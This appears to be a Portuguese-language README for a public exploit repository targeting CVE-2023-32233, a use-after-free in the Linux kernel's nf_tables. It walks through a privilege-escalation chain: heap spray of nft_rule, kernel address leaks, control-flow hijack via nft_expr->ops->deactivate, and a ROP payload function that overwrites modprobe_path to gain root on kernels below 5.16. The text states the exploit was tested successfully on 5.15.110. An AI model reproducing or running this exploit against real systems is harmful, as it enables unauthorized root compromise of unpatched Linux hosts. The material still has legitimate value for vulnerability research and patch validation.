void0red/cve-2023-32233Exploit de escalada de privilégios no kernel Linux para CVE-2023-32233 usando UAF em nft_quota, cadeia ROP e sobrescrita de modprobe_path para obter root em kernels <5.16.
Devido à ausência do patch nos kernels de versões mais antigas (<5.16), não é possível usar o campo consumed da estrutura nft_quota para escrever em endereços de memória de leitura/escrita, então considerou-se usar ROP para escalar privilégios. O exploit do Google usa o método NFT_MSG_DELRULE+NFT_MSG_DELSET para disparar o use-after-free, mas em testes reais o script crasha diretamente em nf_table_commit->list_del_rcu.
Este exploit foi testado com sucesso na versão v5.15.110
Combinando os dois exploits, fazendo heap spray da estrutura nft_rule, vazando o endereço da pilha do kernel via list_head, vazando o endereço do kernel via nft_expr->ops e sequestrando o fluxo de controle via nft_expr->ops->deactivate.
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
Para facilitar a escalada de privilégios, reaproveitamos o método do exploit 1 baseado em modprobe_path; o ROP construído é o seguinte.
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
Primeiro, o kernel executa até data[5], onde rax armazena o endereço do início do bloco (&data[0]). Usa-se push rax; pop rsp; ret; para realizar a migração da pilha, o que inevitavelmente causa corrupção da pilha (impossibilitando o retorno normal ao modo usuário; se for necessário escalar privilégios no modo usuário, pode-se construir um bloco maior (>0x80), consulte make_payload_rop2 no exploit, usando swapgs_restore_regs_and_return_to_usermode para contornar o kpti e retornar ao modo usuário).
Como a estrutura forjada nft_rule tem 0x18 bytes de metadados (principalmente os 8 bytes no offset 0x10), é necessário usar pop para pular esses endereços; depois é só improvisar, usando alguns gadgets curtos para modificar modprobe_path.